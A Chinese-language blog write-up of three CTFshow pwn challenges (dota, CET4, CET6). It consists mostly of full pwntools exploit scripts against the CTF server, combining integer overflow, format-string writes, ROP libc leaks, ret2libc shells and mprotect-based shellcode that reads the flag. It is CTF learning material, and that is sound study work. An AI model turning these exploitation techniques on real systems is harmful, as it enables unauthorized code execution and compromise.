CTFshow 摆烂杯 pwn

CTFshow 摆烂杯 pwn

啊啊啊，看着官方脚本调了好久终于调通，为了防止后来的兄弟耽误时间，发个博客。

官方wp

dota

这道题还是很简单的，整型溢出+格式化字符串+ROP，可惜当时只做出这一道题

#!/usr/bin/env python
# encoding: utf-8

from pwn import*
from LibcSearcher import *
context.log_level = "debug"
p = remote('pwn.challenge.ctf.show',28187)
#p = process('./dota.dota')
elf = ELF('./dota.dota')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.sym['main']
pop_rdi=0x0004009b3
pop_ret=0x04005ce
def pwn():
    p.recvuntil('------\n')
    p.sendline('dota')
    p.recvuntil('------\n')
    p.sendline('2147483648')
#print(p.recv(0x170,1))
    p.recvlines(9)
#print(1)
    bss_addr =p.recvuntil('\n')[:-1].ljust(8,'\x00')#ok
#bss_addr=hex(int(bss_addr,16))
    #print(p.pid)
    #raw_input('pause')
#print(type(int(bss_addr,16)))
    payload='%25c%9$n'+p64(int(bss_addr,16))
    p.sendline(payload)


pwn()
payload='a'*128+'a'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)

p.recvuntil('\x0a')

p.sendline(payload)

#p.recvuntil('\x0a')
#puts_addr = u64(p.recv(6).ljust(8, '\x00'))#ok
#puts_addr = u64(r.recv(7).ljust(8, '\x00'))#?
#puts_addr = u64(r.recvuntil('\n')[:-1].ljust(8,'\x00'))#?
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))#ok


print('puts_addr=',hex(puts_addr))

libc=LibcSearcher('puts',puts_addr)#libcsearcher
libcbase=puts_addr-libc.dump('puts')
system_addr=libcbase+libc.dump('system')
bin_sh_addr=libcbase+libc.dump('str_bin_sh')

pwn()
#payload='a'*128+'a'*8+p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)
payload='a'*128+'a'*8+p64(pop_ret)+p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)#这个pop_ret是栈对齐的东西
p.recvuntil('\x0a')

p.sendline(payload)
p.interactive()

CET4

当时比赛的时候就卡到这道题了，不知道为啥，经典ROP没有效果，栈对齐也对齐了，gdb读的时候发现有个地方直接卡住了，然后就卡在这里了（太菜了太菜了），赛后复现，看他的wp，发现他没有用system，可能是system有什么问题吧。是写的bss段。

'''
from pwn import *
from LibcSearcher import *
context.log_level='debug'
r=remote('pwn.challenge.ctf.show',28060)
#r=process('./CET4')
#r.recvuntil('name:\n')
#r.sendline(p64(1))
#r.recvuntil('???\n')
#print(r.pid)
#raw_input('pause')

elf = ELF('./CET4')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.sym['main']
pop_rdi=0x04013d3
pop_ret=0x040101a
r.recvuntil('name:\n')
r.send(p64(1))
#print(r.pid)
#raw_input('pause')

r.recvline(2)
#print(r.pid)
#raw_input('pause')
payload='a'*0x48+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
#print(payload)
r.sendline(payload)
#print(r.pid)
#raw_input('pause')
#r.recvuntil('\x0a')
#puts_addr = u64(r.recv(6).ljust(8, '\x00'))#ok
#puts_addr = u64(r.recv(7).ljust(8, '\x00'))#?
#puts_addr = u64(r.recvuntil('\n')[:-1].ljust(8,'\x00'))#?
puts_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00'))#ok


print(hex(puts_addr))

libc=LibcSearcher('puts',puts_addr)#libcsearcher
libcbase=puts_addr-libc.dump('puts')
system_addr=libcbase+libc.dump('system')
bin_sh_addr=libcbase+libc.dump('str_bin_sh')
exit=libcbase+libc.dump('exit')


libc_puts=0x0809c0
libc_sys=0x04f440
libc_bin=0x1b3e9a
offset = puts_addr - libc_puts#libcsearcher无法使用时
system_addr=offset+ libc_sys
bin_sh_addr=offset+ libc_bin

r.recvuntil('name:\n')
r.send(p64(1))
r.recvuntil('???\n')
#print(r.pid)
#raw_input('pause')

#payload='a'*(0x40-8)+p64(1)+'a'*8+p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)
payload='a'*0x48+p64(pop_ret)+p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)+p64(exit)#这个pop_ret是栈对齐的东西
r.sendline(payload)
r.interactive()
'''#这都是我以前的思路

from pwn import *
from LibcSearcher import *
p=remote('pwn.challenge.ctf.show',28060)
#p=process('./CET4')
elf=ELF("./CET4")

#libc=elf.libc
context.log_level='debug'
context.arch='amd64'

rdi=0x00000000004013d3
bss=0x404000
main=elf.sym['main']

p.sendafter('your name:\n','a'*4+p32(0))
#gdb.attach(p)
p.sendafter('QAQ:How was your test???','a'*0x48+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(main))

#libc_base=u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-libc.sym['puts']
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))#ok
print(hex(puts_addr))

libc=LibcSearcher('puts',puts_addr)#libcsearcher
libcbase=puts_addr-libc.dump('puts')
#system_addr=libcbase+libc.dump('system')
#bin_sh_addr=libcbase+libc.dump('str_bin_sh')

#success('libc_base:'+hex(libc_base))


rsi=0x0000000000002709c+libcbase
rdx_r12=0x000000000011c421+libcbase
rdx_rsi=0x0130569+libcbase
p.sendafter('your name:\n','a'*4+p32(0))

protect=libcbase+libc.dump('mprotect')

rsi_r15=0x04013d1
mov_rdx_r14=0x0004013B0
r14_r15=0x4013d0
payload=p64(rdi)+p64(0x404000)+p64(rsi)+p64(0x1000)+p64(rdx_r12)+p64(7)+p64(0)+p64(protect)+p64(main)
#payload=p64(rdi)+p64(0x404000)+p64(rsi_r15)+p64(0x1000)+p64(0)+p64(r14_r15)+p64(7)+p64(0)+p64(mov_rdx_r14)+p64(protect)+p64(main)
#payload=p64(rdi)+p64(0x404000)+p64(rdx_rsi)+p64(7)+p64(0x100)+p64(protect)+p64(main)
#print(p.pid)
#pause()
p.sendafter('QAQ:How was your test???','a'*0x48+payload)
#p.recvuntil('???\n')
#p.sendline(payload)
p.sendafter('your name:\n','a'*4+p32(0))

read=libcbase+libc.dump('read')

payload=p64(rdi)+p64(0)+p64(rsi)+p64(0x404500)+p64(rdx_r12)+p64(0x100)+p64(0)+p64(read)+p64(0x404500)
#payload=p64(rdi)+p64(0)+p64(rdx_rsi)+p64(0x100)+p64(0x404000)+p64(read)+p64(0x404000)
p.sendafter('QAQ:How was your test???','a'*0x48+payload)

code = shellcraft.open("./flag")
code += shellcraft.read(3, 0x404900, 0x50)
code += shellcraft.write(1, 0x404900, 0x50)
shellcode = asm(code)
#shellcode = asm(shellcraft.sh())
#pause()
p.sendline(shellcode)

p.interactive()

当时卡住的重点就在于

当时我不知道这个是那里的东西。
下面就写下我解出来的过程

根据我的代码，你可以得到puts的地址，根据后三位到网站上去下载

综合Libcsearcher的消息，下载最有可能的libc文件

然后一个一个试，一个一个填

最后试出来是libc6_2.30-0ubuntu2_amd64.so这个libc
然后就通了

过程中想了好久，做了半天才搞通这四级与六级5555

CET6

from pwn import *
from LibcSearcher import *

p = remote('pwn.challenge.ctf.show',28191)
#p=process('./CET6')
elf=ELF("./CET6")

libc=elf.libc
context.log_level='debug'
context.arch='amd64'

rdi=0x00000000004012f3

p.sendafter('your name:\n','\x00'*0x8)

p.sendafter('QAQ:How was your test???','a'*0x40+p64(0x404F00)+p64(0x4011ae))
#pause()
p.send('a'*0x40+p64(0x404F40)+p64(0x4011ae))
#pause()
p.send('a'*8+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x4011ae))
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))#ok


print(hex(puts_addr))

libc=LibcSearcher('puts',puts_addr)#libcsearcher
libcbase=puts_addr-libc.dump('puts')
system_addr=libcbase+libc.dump('system')
bin_sh_addr=libcbase+libc.dump('str_bin_sh')



p.send('c'*0x20+p64(rdi)+p64(bin_sh_addr)+p64(system_addr))

p.interactive()

根据wp改下就行了，当时的思路是one_gadet

上述代码如果有更简单的兄弟，或者说system跑通了，一起交流呀。